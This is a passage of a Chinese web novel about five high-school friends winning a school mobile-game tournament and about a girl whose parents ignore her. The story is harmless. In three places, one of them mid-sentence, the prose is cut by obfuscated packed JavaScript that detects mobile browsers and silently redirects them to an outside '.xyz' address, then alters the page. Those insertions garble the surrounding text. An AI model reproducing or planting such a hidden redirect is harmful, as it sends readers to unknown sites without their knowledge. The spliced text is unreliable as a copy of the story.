李沫是不上自习的,今天也没穿校服,常服上挂着校牌,背了个挎包,包里五个奇形怪状的充电宝。 刘胖哥俩好地挎着他肩膀:“多钱?” “五十,一手交钱一手交货。”李沫坚定不移。 刘胖怪叫:“3C标准吗要我五十!还长这么丑,你别是坐地起价嗷我警告你。” 李校花摩挲着星形充电宝背面某奢侈品牌的浮雕logo,再看刘胖那个不识货的东西还在试图砍价。 她叹了口气,直接问李沫:“你知道这玩意儿……” “是联动盲盒,为了抽个隐藏款,我妈买了二十多个。” 李沫推了推细框眼镜,那股天真清澈的傻气里,竟然有种富家少爷的斯文妥帖。 李校花也不客气了,扫他五十块,说:“好了,快迟到了,走吧。” 叶吟冲李沫一笑,接过他另一只手里的黑色垃圾袋,整个塞进了书包里。 杨星:?你为什么要把垃圾放书包里? 4. 第 4 章 第一届农药争霸赛宣传强度有限,参赛者中,高三生只有一支队伍。她们抽完签,直到开打还有个人没来。 她们讨论的声音传过来——原来那人昨天晚上说要熬夜刷题,现在不接电话,可能是睡过头了。 李校花望着遗憾的四人,又低头看了眼叶吟抽到的轮空签纸,在队友的注视下,光明正大地找了那位学姐队长。 “你们缺什么位置?我的队伍这把轮空,可以帮你们补个位。” 学姐眼睛一亮:“我知道你,你是这一届高一校花,是叫叶吟对吧?” 听了个清楚的叶吟:? 李校花面不改色:“对,我玩打野射手,应该能帮你们应付下第一轮。” 学姐大喜:“哎哟感情好,我们正好缺射手,快来快来。” 第一轮一共二十九支队伍,除了叶吟队轮空,其余队伍三局两胜晋级。 其中,李校花在学姐的队伍里,感受到了带四个李沫打游戏的快乐。 游戏输了,但四个学姐也没什么失望的意思。李校花拿着两次败方mvp道歉:“是我发挥不好。” 学姐队长摆手:“害,没事,不是你的错,是我们太菜了。” 她坦诚地说:“其实我们几个是因为刚高三绷得有点紧。原先的舞蹈比赛被腰斩了,练了五小天鹅结果跳不成,就来打游戏了。” 李校花:“……五小天鹅?” 学姐点头,骄傲地说:“我们高一的时候,艺术节排练做了一点点改编,还拿了奖。” 也想走艺术的李校花心生敬意:“哇,那很厉害了。” 学姐吐槽了几句高三生活,等李校花回来,身上难免沾了些无形的压力。结果她左看右看,发现另外四个人挤成一坨,对着手机看得认真,完全没注意她。 “喂,你们听见了吗?”李校花不满,“学姐说她们高三累到只能用比赛放松了,这是化压力为动力啊,我们得多学习。” 杨星突兀地说:“我觉得就是她们。” 李沫:“可是……” 刘胖肯定地点头:“绝对是。” 叶吟冲着李校花把手机一翻,进度条拉到一开始:“我们在看学姐们高一的艺术节录像。” 李校花戴上耳机,定睛一看,五个穿着小黄鸭泡沫服的人,一脚深一脚浅地走上舞台。 李校花:…… 小天鹅是这个妆造吗? 主持人声情并茂地读稿:“……结合了经典芭蕾曲目四小天鹅,与经典童话故事丑小鸭,她们将带来怎样一场精彩绝伦的表演,让我们掌声欢迎!” 五只小黄鸭看起来嫩得出奇,难度最高的动作就是跳起脚,离开地面三公分,看不出半点天鹅的轻盈,反而大智若愚得要命。 她们手拉手转了几个圈,中气十足地念出台词—— “嘎嘎,嘎嘎!” 嘎声甚至盖过了bgm《天鹅湖》,杨星锐评:“没有技巧,全是感情。” “能忍住不笑也是功力深厚了。”刘胖附和说。 属于高三的沉重励志被学姐超高的艺术素养杀了个对穿,视频看完,李校花松开尴尬的脚趾,深吸一口气,问:“她们这个节目,还拿奖了?” 李沫搜了学校的公众号:“嗯……最逗节目奖。” ——实至名归。 第一轮比赛结束,叶吟上台,抽了第二支签。 “29进15,15进8,我们又轮空了。”叶吟一算,告诉了队友这个好消息。 李校花拿过签纸:“离谱,这你也能发力?” 叶吟搓了搓脸:“不知道啊。已经等半上午了,第二轮又得半上午,我们自己练一下吧。” “行,上次一起玩也是好几天前了,”刘胖摸出手机,问李沫,“听李校花说你请了两天假,咋回事?病了?” 李沫:“嗯……倒是没有。” 他语焉不详,但很快就展示了实力。 “你是不是偷偷进修去了?”李校花看着主动扛塔给队友制造输出空间的牛魔,不可思议地说。 李沫看她一眼,轻描淡写得仿佛什么室外高人:“我妈听说我报了个农药比赛,给我找了四个人集训,啥也不干,就教我玩游戏。” 刘胖目瞪口呆:“等等,什么意思?你请假回家学习打游戏?” 杨星也麻了,不知道该做什么表情。一看叶吟满脸不动声色,他想:她倒是有数。 李沫清了清嗓子,说:“中单练了原来不会的三指,上单打了几十场1v1练习对线,射手补刀手法也已经全面升级,打野,嗯,也一直非常可靠,所以我也得进步呀。” 李校花知道他家有实力,拧着嗓子问:“你妈找的那四个人,是打比赛的选手吗?” 李沫:“不是。” 四人刚松了口气,他又大喘气地补上:“现役的不能干这事儿。一个退役、一个教练、两个主播,诶,你们可能听过他俩名字,abc和DEF。” 刘胖爆了句粗口,抓着他领子狂晃:“a神?我去?你跟没跟他要签名?!” 杨星有些忧郁:“沫哥,你真是……真成沫哥了。” 第三轮,四进二半决赛。 中午吃完饭,叶吟五人终于坐上了比赛席。 半决赛依然是bo3赛制,他们2:0结束了比赛。 高一的五个学弟毫不气馁,你推我一下我推你一下,磨磨唧唧地蹭了过来。最后是打野位出马,期期艾艾地问李校花:“……学姐叫什么?你现在单身吗?我能先排个队吗?” 李校花皱眉,叶吟从善如流地站到二人之间:“她叫叶吟。” 那个打野学弟满脸写着“我记住了”,他认真地对李校花说:“叶吟,你成功引起了我的注意。” 杨星:“……噗。” 他两步上前揽住李校花肩膀:“抱歉,叶吟有男朋友了。” 叶吟:别瞎说不是我我没有。 看戏的刘胖&李沫:无敌。 打野学弟看向高自己半个头的杨星:“……我一定会打败你的!” 这诡异的三角关系任谁看了都得愣一愣,李校花等人走了,把杨星胳膊一推:“行了,别演了。” 杨星举手投降:“过河拆桥。” 李校花不得理也不饶人:“谁让你给自己加戏的,我跟叶吟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566730|187007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应付得了。” 无辜被cue的叶吟叹了口气,一不小心看到李沫的表情。顺着他的视线,她看向了挑着眉、盛气但不凌人李校花,于是心中一跳。 ……可能这就是十七八岁的必经之路吧。 她拍了拍李沫,后者完全没意识到自己也跟那群两块五差不多远了:“李沫,你注意点吧。” 李沫茫然回神:“啊?咋了?” 叶吟神色复杂:“好歹是能请病假打游戏的人物,别这么掉价。” ——两块五! 李沫一脸莫名其妙。 跟学弟打完,最后的决赛对手是一队高二生。 “星哥。”队长跟杨星点了点头。 他们其实是一个班的,但杨星依然跟高一几个人玩得好,所以稍微有些疏远。 “李小花、刘鹏、李沫……” “叶吟。” 队长看向那位走班来的同学,同样礼貌地打了个招呼,没想到对另外四人“刷刷刷”一齐把眼神挪了过来。 队长:? 刘胖:“奇了,杨星,你瞧瞧人家。” 杨星抿了抿嘴角,看向叶吟,后者也是有些意外的模样。 “你好。”她跟队长握了握爪。 队长不知道自己记人名的习惯给他招惹来了什么,只是刚开局,对面的上单就杀气磅礴地冲了过来。 第一把,叶吟五人输了。 五分钟休息复盘,李校花指着杨星:“你上什么头!对面直接一换四,怎么打!” 杨星闷不吭声,刘胖胆战心惊地说:“校花,他状态波动嘛,大家都有的。” 叶吟心说这是真洗不了,杨星这把上头不是一次两次,而是一整局都这样,四个人都没把他拽回来。 “看看李沫,打得多稳!” 李校花有点气不过,压低声音在他旁边说:“你要跟人较劲,别拿大家的奖杯开玩笑。” 叶吟&刘胖&李沫:说什么悄悄话呢,还不让大家听了。 第二把,杨星拿出了刘邦:“我带线,保着射手法师打。” 叶吟:“我火舞一身位移,好跑。你看着那个老黄忠就行。” 刘胖:“我是大核,保我保我。” 李校花冷笑:“你屁股一坐,对面吕布直接跳大,死都不知道怎么死的。” 李沫第五手补了庄周,得到了李校花的点名表扬。 中期小团战,叶吟一闪踢起对面前排坦克,对方射手闪现拉开。她本来准备大招回身,但打野绕后,不知火舞只能继续向前冲锋。 拼着一换一的心,对方射手率先倒下,火舞被动位移走出一塔,丝血苟活,但身上还挂着最后一发防御塔伤害。 叶吟甩了甩手腕等死:“狄仁杰闪现九分三十。” “我在,”杨星说着,一个大招传来,火舞的血条上冒出两格半的白色盾条,“你死不了。” 感动不了半秒,刘胖大叫:“吕布怎么在这!我要死了我要死了刘邦救我!” 火舞抽搐了一下,原地放了个扇子。 中上两人绕蓝区回援,杨星默默点出信号:“大招还有32秒。” 5. 第 5 章 “你大招保护小兵去了吗!”刘胖气得喷火,吃了庄周解控,收起炮架开始拉扯。 他们打了波完美团战,拉开了两千经济差,算是奠定了胜利基础。 龙坑翻盘点,李校花险之又险地拼惩拿下,最后卡着对方团灭复活的时间点,从上路平推,获得胜利。 李校花十分严肃:“决胜局。” 刘胖刚刚点水晶点到手指抽筋,他双眼放空地说:“我第一次离银龙杯这么近。” 杨星打击他:“3D打印的小玩具我们五个一人一个,再单独给你整个七彩塑料的,喜欢吗?” 众所周知,3D打印最爱造龙,杨星真心觉得校方一定会这么干,甚至在起队名的时候都没放过这个梗。 李沫认真脸:“现在去赞助一下还来得及吗?” 叶吟扶额:“我们还没赢呢。” “孩子们,听我说,”李校花拍拍手,“对方配合很好,转线支援都很快,我们下路配合差点火候,他们就特别爱来下路打架。对此我有一计。” 刘胖:“李教练请讲。” “叶吟,薛定谔的存在感,我们都知道,但她的特性在游戏里并不突出,为什么呢?” 李校花眯着眼睛,竟然有点城府深深的感觉:“因为法师位最多在支援方面打一个出其不意,后期跟团明晃晃一个脆皮输出,更没有发挥空间。” “所以,换我单带?”叶吟一点就通,“米莱狄?” “对,我们这把是红方,可以藏一手。前期正常打,后面四一分推。” “行,”叶吟也没想到,透明人光环竟然还能用在这上面,“兰陵王ban掉,大乔ban掉,能打。” 敲定战术,进入bp环节,对面一楼锁定明世隐。 “弱开团手,要前期压爆发育路?李沫玩什么?” 李沫:“米莱狄配刘禅?推塔流玩个爽的。” 刘胖:“那我李元芳。” 叶吟劝:“你们四个打正面拉扯,不一定要走推塔流,别急。” “拉扯的话,那孙膑吧。”李沫锁定孙膑。 杨星锁了花木兰。 李校花:“对面出了白起,有点克你。小明加后羿,刘胖锁虞姬吧。你玩李元芳太莽,打团叠不满飞镖人先蒸发了。” “小明加后羿,确实虞姬抗压一点,”刘胖略微冷静了一点,“对线压力挺大的,而且对面肯定抓我,打野救命啊。” 李校花看完双方阵容,翻了翻打野英雄,锁定了阿古朵。 孙膑阿古朵配合很强,对面会选什么? ——嬴政、赵云。 李校花:“本来机动性一般,现在补足了。” “嬴政清线很快,”叶吟看着倒计时,“但他嬴政熟练度是个绿豆。” 刘胖:“裁判!这里有场外!” 杨星忍不住问:“什么时候看到的?” 叶吟锁定米莱狄,扫了一眼裁判席,那里的人去了洗手间还没回。 她清了清嗓子:“第一轮的时候我去遛达了一圈,bp阶段正好站在他们队后边,他们中单说自己不爱玩男中单,啧,看不起神秘下棋男和神秘纵火男……” 组队麦克风里响起一片咳嗽,叶吟坦然说:“我不讲话他们根本注意不到我。” ——叶吟摸索出的透明人设定第二条:不出声可以有效降低光环破裂的概率。 裁判回来的时候,对局刚刚开始。叶吟上线,往对面蓝坑扔了个机械仆从,照出赵云。对面果然直指发育路。 “刘胖当心点。”她说。 李校花阿古朵同样蓝开,双方刷野路线相反。 高中体育馆,没有导播也没有投屏,只圈出了几片区域,两队分坐。 决胜局裁判一边一个,两人看似沉默不语,实则在手机上疯狂打字交流。 红方裁判:“你觉得谁能赢?” 蓝方裁判:“我讨厌米莱狄,我压蓝方。” 红方裁判:“你当裁判怎么还能英雄歧视?我压红方。” 蓝方裁判:“输的给赢的打一个赛季辅助。” 红方裁判:“……行。” 第一波节奏爆发于赵云出野区。 叶吟:“嬴政miss,虞姬别压。” “赵云肯定在蹲,小概率中左,大概率发育路……露视野了,虞姬别死,虞姬……” 虞姬倒下了。 刘胖双手离开屏幕,往裤子上擦了擦手汗:“四个人越塔,嬴政大招给我残血补了。” 叶吟安慰一局:“没事,下一波。暴君是守不了了,进他蓝?” 花木兰闷声发大财,单杀了白起,杨星说:“可以,校花进,我跟。” 叶吟:“我磨一下塔,顺便站中草。” 红方裁判:“节奏置换,红方没吃亏。” 蓝方裁判:“但后羿拿了人头,现在正肥,他吃两路线,红方后期怎么处理?” 红方裁判:“米莱狄单带吧,正面四打五拉扯好的话,推高地没问题。” 蓝方裁判:“蓝方运营挺稳的,现在除了对抗一塔,也就中一塔四分钟那波掉到残血。” 胶着之中,转机出现。 蓝方裁判:“后羿鸟中了!!!!!” 刘胖被眩晕罚站,还有心吐槽:“我讨厌后羿。” 眼看白起从中右草窜出,大招完bo,刘胖这才慌了:“他怎么在这!” 李沫赶路没用二技能,此刻刚好赶上。赵云大招落地,小明和后羿已经到位开始输出。 阿古朵放出球球稍微一控,本体卡住墙体位置,小野怪稍微阻挡了嬴政大招,但还是有很多落到了己方队友身上。 两方裁判同时想:虞姬能走吗? 孙膑回复加一口治疗直接抬到半血,虞姬点出二技能免疫物理伤害,但后羿电刀发力,嬴政的一技能aoe也没结束,虞姬没扛住,再次倒下。 刘胖:“孩子们,我真活不了。” 花木兰一闪进场,一套打完切重剑边扛边输出,又给显露败势的团战续了一口气。 “回防!回防!嬴政回!二塔掉了!”蓝方的组队麦突然炸起队长的声音。 蓝方裁判也是后知后觉:“对抗一塔掉得早,这波单带完全失察,高地怕是要没。” 蓝方嬴政往下路赶:“还想着打团挺顺利的,原来是四打五。” 蓝方队长:“别打团了,马上十分钟,站好视野拿龙。” 蓝方游走:“对面射手掉了,这波暴君还是稳。” 对抗高地塔下,机械仆从先到一步,叶吟丢出大招,转身就走,跟嬴政打了个照面。 高地塔告破!
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566731|187007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 对方抱团赶往上半区,李校花立即喊人往下转:“换龙,我们拿主宰。” 嬴政稳妥地把线带过了河道,眼看往龙坑来,叶吟说:“我去骚扰。” 阿古朵发育不错,四人rua龙比蓝方慢不很多。机械仆从都在龙坑,一个技能全灰的米莱狄在嬴政眼前兜了一圈,后者硬是没敢上。 时间进入后期,局面再次僵持。以孙膑为主的四人抱团,敌进我退、敌退我扰。 “这赵云一边吃野一边盯我,”叶吟无奈,“我1-4了。” 杨星:“肯定是被那个队长提醒了。” 叶吟看了眼经济,双方基本持平:“快刷风暴龙了。” 对面自从对抗路高地塔爆破之后一直很小心,发育路高地还有半血,中路二塔尚在。 “他们肯定要逼团,虞姬小心点。”李校花往龙坑靠,照出了两个人的视野。 “我已经半血了老大,嬴政一直poke我……他们开龙了!” 对面视野没有全露,米莱狄不敢直接偷,如果她被抓,对方回头打龙坑团,我方四打五还缺输出,一定会掉龙掉人。 杨星:“看到了,但摸不着后羿,被小明卡位置。” 李校花声音紧张:“白起在龙坑,赵云也在。” 叶吟当机立断:“我去偷。” 对抗路兵线劣势,但发育路炮车卡在二塔,叶吟藏着视野摸过去,说:“你们拖一下。” 刘胖心惊胆战,风暴龙有制裁效果,他努力边缘ob,但只要对面摸他一下,虞姬就能原地蒸发。 蓝方明确目标:先打人再打龙! “冲我来了!救命!”虞姬想拉开,却再次吃到后羿大招晕眩。白起大出龙坑,孙膑试图再次抬血,结果二人都没顶住敌方的高额爆发。 就在同时,机械仆从和炮车推掉了高地塔,兵线交汇,叶吟也不再藏视野,。 蓝方终于发现不对:“回家!回家!赵云回!” 赵云回城条快要读完,叶吟还没摸上水晶。 来得及! 下一瞬,回城中断,一柄轻剑砸在赵云脸上。 原来是花木兰闪现过来,丢了技能,潇洒转身。 杨星一击得手:“来都来了,都别走了。” 五秒后,蓝方水晶爆炸。蓝方裁判叹了口气,琢磨着下个赛季可以练习一手斩杀瑶妹了。 红方裁判站起:“恭喜我们,额……不要3D打印银龙杯队获胜!” 叶吟发现自己手心全是汗,她甩了甩手,终于放松下来。 刘胖扬眉吐气:“被杀了一整局!我才是扛压之王!银龙杯呢?金雨呢?” 裁判他拿出一个礼花枪,塞到刘胖手里,然后表情变得捉摸不透起来:“我决定,推迟颁发奖杯。嗯……咱们也是申报学校的正经比赛,你们放心吧,过完假期还有升旗仪式颁奖。” 几人关注点略有不同,嘁嘁喳喳地凑在裁判身边。 刘胖:“老师,升旗仪式上表彰我们游戏玩得好?这真行吗?” 杨星:“我就说是3D打印的吧,啧。” 老师顶不住,逃了。 李校花还在自我陶醉:“我的布局太无敌了。” 而叶吟背起书包,清了清嗓子:“一会儿大家从体育馆后门走吧,李沫跟我准备了一点东西。” 6. 第 6 章 刘胖提过一次金雨,被叶吟记在了心里。比赛之前她也没想真能拿第一名,抱着输了也安慰一下大家的想法,让李沫定了两个大礼花筒。 李沫看她一眼,叶吟满脸深藏不露:“你们走前面,出去再说。” 一行人穿过昏暗通道,在见到傍晚阳光的一瞬间,只听“砰”、“砰”两声,金色的纸带从身后冲上半空,如同两大把烟花爆炸,飘飘扬扬地蓬开、落下。 此时恰好没风,金色的雨平等地落到五个人身上,像加身的黄袍,也像缀满边的流苏。比不了正式舞台聚光灯的声势,却有橙红色晚霞充当灯效,描出地上五条影子的形状。 李校花轻轻“哇”了一声,伸手去接,杨星双手插兜仰着头,脸上也有赞叹。 李沫把头上的金纸一摘,仿佛自己未卜先知、心跳就不会加速:“咳,质量还行吧?” 叶吟点头,然后抱着礼花筒笑了。 刘胖激动得“嗷嗷”叫,从裤兜里拿出裁判给的小烟花枪,一把捏爆,“砰”一声冒出些细小彩带。 “我们是冠军!” 杨星推他一把:“这小亮片可难洗了,你离我远点。” 刘胖顶风作案,往他那边猛扇一顿,挨打还吱吱直乐。 李校花想翻白眼,忍了忍,忍不住笑了。 体育馆里没有庆祝,他们的荣耀也没什么观众,只是“青春”与“胜利”这两个词碰到一起,就好像产生了什么化学反应一样,让人下意识觉得天空永远清朗、阳光永远明媚。 “夕阳无限好,只是近黄昏”在此时此景并不适用。 忧郁的诗句勾不动少年愁绪,他们只会想,一夜美梦后,又是朝阳。 * 法定假期跟踩炮仗一样跑得飞快,叶吟父母决定出门旅游。二老如胶似漆,说走就走,没发现落了个孩子。 国庆第三天晚上,杨星和她进了小区就分道扬镳,叶吟扭动家门钥匙,结果门内一片寂静漆黑。 她顿了顿。 聊天软件里也没有父母的消息,站在门口的那几秒里,叶吟感觉自己应该恨他们的。 恨他们管生不管养,恨他们不会问你更喜欢爸爸还是妈妈,因为毋庸置疑,他们更爱彼此。 叶吟的透明光环是从什么时候开始的? 从她记事起。 为什么是那时候呢? 因为叶父叶母连活生生的人都能无视,更不会刻意记录她的成长。记事前的那段时间,几乎没有什么照片或者文字,换句话说,没给叶吟养丢了就不错了。 叶吟掏出手机,带出一片金色的彩纸,感觉就像一场盛宴结束,人都走干净了,留下一地狼籍,不堪入目。 比赛的胜利刚说服她:透明不是坏事。 而眼前的一切都像在嘲笑:但你一直都是不被看到的那个。 她打字问杨星:“你家有饭吗?” 发完消息有点后悔,准备去便利店对付一口算了,结果杨星的语音回得很快:“来来来,我爸带了烧烤,速速。” 几幢楼外就是杨星家,她敲了三声门,没人理会。 叶吟习以为常地继续敲,继续敲……敲到第五轮,杨星妈打开门,一愣,立刻招呼:“叶子呀,来来来,你瞧我这耳朵,刚刚根本没听见,真不好意思。” 叶吟笑了笑,放下刚买的饮料:“没有阿姨,是我敲太轻了。” 杨星在跟杨星爸看球,头也没抬:“她不吃辣,妈,你看着她点。” 杨星妈:“你的客人你自己招呼,别支使我,去去去。” 杨星无奈,过来接了她的书包扔到一边:“咋了,你家又没人?” 叶吟点头,规矩地把校服外套挂起来。 “那两位可真够不靠谱的,”杨星跟她走到餐桌边,“我跟我妈说个数学竞赛拿了第一,这顿烧烤用的是我的奖金。” 叶吟眉毛一挑:“哟,数学竞赛。” 杨星威胁她:“注意口供哈,别露馅了,不然你吃的都吐出来。” 叶吟咬着肉,“嗯”了两声。 饭后收拾桌子,叶吟把签子拢到一起,用纸包住尖头扔到垃圾桶,杨星两手一拍:“太好了,今天有人跟我一起洗碗。” 杨星妈:“走开走开,自己洗去。叶子啊,家里没人吗?别回去了,你睡客房,明天姨带你去逛商场。” 杨星耳朵尖:“妈,她就一套校服呢!” 杨星妈:“穿你的凑合一下呗,叶子个子高,哎,叶子,你别嫌弃他,我给你找新的。” 叶吟:“没事阿姨,我一会儿就回。” 杨星妈:“那可不行,你是小星最好的朋友,那就相当于我半个闺女,看朋友圈你爸妈俩人去S市了,明天就中秋,难道你要自己过?” 叶吟挣扎:“阿姨没事儿,我明天一早就回学校,国庆食堂也有饭,我正好学习去。” 杨星:“诶,妈,不是说你公司发了四张S市迪*尼票吗,要不咱们也去S市呗,带着叶吟一起。” 叶吟:“不用……” 杨星妈:“算你机灵,哎,孩儿爸,看看明天机票。” 杨星爸还想着球赛:“明天就走啊?” 杨星妈翻了个白眼:“你不去拉倒。” 杨星爸立刻说:“那不行,你们缺个付账的。那个谁,叶子身份证号多少?我一起买了。” 叶吟:“不……” 杨星甩着手上的水出来,流畅地报出一串数字。 叶吟:你小子偷我身份证了? 杨星擦干手:“你不想去抓你爸妈?直接堵他们门口,质问他俩为什么把你丢家里,让他俩狠狠愧疚一下。” 叶吟好像有点牙痛地说:“那是你想,不是我。” 杨星玩笑说:“真的吗?一次都没想过吗?” 叶吟没吭声,半晌才小声说:“我想把他俩小金库抄了,然后让他俩满世界找我,再也不会无视我。” 杨星咋舌:“最毒不过妇人心。” 晚上,杨星妈从烘干机里掏出两套衣服:“叶子洗完澡穿这个,机票是下午的,明天上午我们去商场shopping一下。” 叶吟讷讷地说:“谢谢阿姨。” “哎哟,我的小可怜,”杨星妈把她薅近抱了一下,但她整个脸只到叶吟肩膀,“早点睡觉,啊。” 十点半,客厅熄灯,叶吟刚把手机插上充电,门口响起一阵偷鸡摸狗的脚步声。 “你打不打?”刻意压低的声音说。 叶吟打开门,偷鸡摸狗的杨星拿着手机站在黑暗中。 “今天打了一下午,还打?” “打啊,怎么不打,终于可以玩娱乐了,再也不用听李校花的批斗大会了,”杨星说,“赶紧的,那仨人都在。” 叶吟心虚地张望了一下,杨星爸妈的门没什么动静:“打两把就睡,你赶紧回去。” 组队麦里,刘胖咋咋呼呼地问:“杨星不开麦为啥叶吟也不开?你俩不会在一块吧?” 叶吟保持沉默。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566732|187007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二楼李校花催他:“你玩什么,我帮抢。” 刘胖:“我是对抗!我要后手!让杨星发育路先出!” 月考成绩发了,杨星确实发挥失常,但此时的李沫已经全面升级,所以原本定下的惩罚也算不上惩罚了。 但他还是想玩对抗。 于是杨星默默地打了一大串句点,然后一楼锁定了百里守约。 李校花:“你要折磨本局除你以外的九个人?” 李沫:“这我拿啥辅助啊,直接让他1v2扛压吧,我跟中路转线。” 杨星打开了麦克风,低声骂:“你给刘胖辅助的时候可不是这样的!” 杨星妈去洗手间,正好听到杨星卧室有动静,敲敲门说:“别玩了,赶紧睡,明天你跟叶吟都得早起,别吵着人家。” 她声音不大不小,正好传进麦里。 杨星闭麦,结结巴巴地说:“我知道了妈,这就睡。” 游戏里刘胖迷惑道:“咋了,你俩真在一块?已经见家长了?” 昏暗夜灯下,不知道谁心跳得有些脱轨。 李校花冷笑一声:“他俩发小,见家长还不正常?” 刘胖一想也是,快乐地说:“他俩都处成兄妹了,不可能有啥的,咱五个人就一起寡着吧,等大学毕业租个五居室,哇塞,太幸福了。” 叶吟幽幽出现,打字说:“我看行。” * 众所周知,打两把的这个“两”是虚指。 第二天一早,两个人哈欠连天地起床吃早餐,杨星妈看看这个,又看看那个,本来准备骂杨星的,结果叶吟也这样,她最后忍住了。 到了商场,杨星妈把他俩当奇迹叶吟和奇迹杨星,一人三套毫不偏心。 两个熬夜的人跟梦游一样,叶吟挣扎着清醒了一点:“等我把钱转你,你还给阿姨。” 杨星瞪着朦胧双眼:“你转给我就成我的了,反正她不会收。” 叶吟:“那我想办法加她个支*宝好友,那玩意转账不用确认。” 杨星摆烂:“你看着整。” 杨星妈相当雷厉风行,线上值机、卡点检票、五点降落,打车去吃饭。她定了个蛋糕,上面写着中秋快乐。 “不吃月饼吗?”杨星爸有高血糖。 杨星妈:“你妈做的五仁月饼卡嗓子,结婚之后年年吃,今年在外地终于不用吃了,我不能吃点喜欢的?” 杨星爸立刻投降:“行行行。” 杨星站边母上大人:“爸,真的,奶奶做的五仁月饼又齁又硬。” 叶吟想:奶奶手作的五仁月饼会是什么味道的? 杨星举着筷子没动,看她食不知味地夹走一块姜,就等她吃着辣了回神。 叶吟面不改色地放下姜。 ——某人目光太烫人了。 * 第二天迪*尼人多到爆炸,叶吟对游乐园没什么兴趣,玩得最开心的是杨星妈,其他三个都是陪玩。 天太热,三高的杨星爸出了一头虚汗,嘴唇发白,面色很差:“我不行了,我去歇着了,你们玩吧。” 杨星妈嘴里说着“让你锻炼你不动弹”,一边点兵点将:“杨星看着你爸去。” 叶吟加了一句:“天太热,小心脱水。” 分开了一会儿,叶吟又发消息:“别喝冰饮料,你也是。喝水一口气不能喝太多。” 杨星看着售货机里20一瓶的冰可乐,转头跟他爸说:“叶子不让喝。” 杨星爸:唉。 7. 第 7 章 叶吟负责拎包和拍照,杨星妈负责玩得开心,等看完花车,两人开始找那爷俩一起撤退回酒店。 “哎呀,本来是想带你们出来玩的,结果一个陪他爹,一个光陪我了。”杨星妈说。 叶吟:“没事的阿姨,应该的。” 杨星妈:“以后如果你爸妈还这样,就来我家,我给你撑腰。怎么当爹当妈的,他俩太过分了。” 叶吟:“没关系的。” 杨星妈摇摇头:“叶子,你这个性子,说好也好,说不好也不好。” 叶吟微愣,低低地“嗯”了一声。 杨星妈:“你是水做的人,可泥人都有三分脾气呀。” 叶吟不知道她是什么意思,只是感受到了情绪,鼻子稍微有点酸。 杨星妈话头一转:“对了,你们学校最近有什么特别简单、没人参加的数学竞赛吗?” 叶吟:……前摇过长! * 晚上,杨星举着朋友圈界面说:“这是你爸妈今晚入住的酒店。我有一个计划。” 叶吟大感不妙:“干什么?” 杨星:“我们去堵门吧。” 叶吟十分抗拒:“真没必要。明天还有别的地方要去,后天咱们就回了。” 杨星很坚定:“我觉得有必要,你听我的。” 叶吟拗不过他,半推半就地打上车,两人就这么拉扯去了目的地。 “我替你抱不平,”杨星认真地说,“他俩出来玩,住五星级酒店,你一个人在家,什么都没有。” “他们会给我生活费,”叶吟说,“其实真没事的。” ——都习惯了。 “不一样,”杨星说,他固执地摇头,说不出更贴切的话,只是重复,“不一样。” 白天刚辉煌完,太阳落山身边一个人都没有,中秋都一个人过,这么大的落差,想想就让人难受。 叶吟不知道自己站在门口,伶仃踌躇的模样有多小心翼翼,就像是流浪淋雨的小狗,看到遮风的屋子和灯也不敢上前。 生在健全家庭里的杨星无师自通了“心疼”这一技能,他想到的唯一办法,就是带着叶吟往前走—— “你要告诉他们,你不想被无视,告诉他们你不高兴、你难过,”杨星说,“你说过吗?” “这有什么好说的,”叶吟很冷静,“我幼儿园就明白了,无用的情绪就是软弱。” 杨星摇头:“虽然其他人经常忽视你,但你自己要看见自己。任何时候,你的情绪、你的想法,都是需要重视的。” “不是因为没有人看,就要把它们轻轻揭过的。” “而且,肯定会有人看到的,比如校花、李沫、刘胖。” 他们坐在出租车后座,叶吟再次问出了那个困扰她很久的问题。 “那你呢?” 杨星心里一跳:“我?” “以前在走廊里遇见,不给你一拳你永远看不见我,”她语气不解,“我们不是朋友吗?” 杨星心中一松,摸了摸鼻子:“哎,那个啊……” 叶吟一眯眼:“你说,我就去。” 杨星只好坦白:“我确实一直都能看见你,100%看见。” 叶吟:? “那你装什么?就想多挨一肘子?” 不可理喻。 杨星眼神闪烁,刚刚语重心长的模样被丢到九霄云外:“等有机会再说,走了走了,你还要壮胆吗?” 两人下车,叶吟深吸一口气,有种被刀架在脖子上的感觉。 她看到门口的便利店,说:“我去买点东西。” 叶父叶母的朋友圈显示,他俩去逛了附近的酒吧一条街,大堂里的两个未成年就只能在沙发上硬等。 “来了来了,”杨星侦察兵一样探出半个脑袋,“他俩牵着手呢,嗯,阿姨还拿着一束玫瑰。” 他回头,小声唱:“他(们)的爱情~与你无关~” 叶吟:“你走调了,大哥。” “快去,”杨星推她一把,“跟他们说明白。” 叶吟一个踉跄,撞到了二老面前。 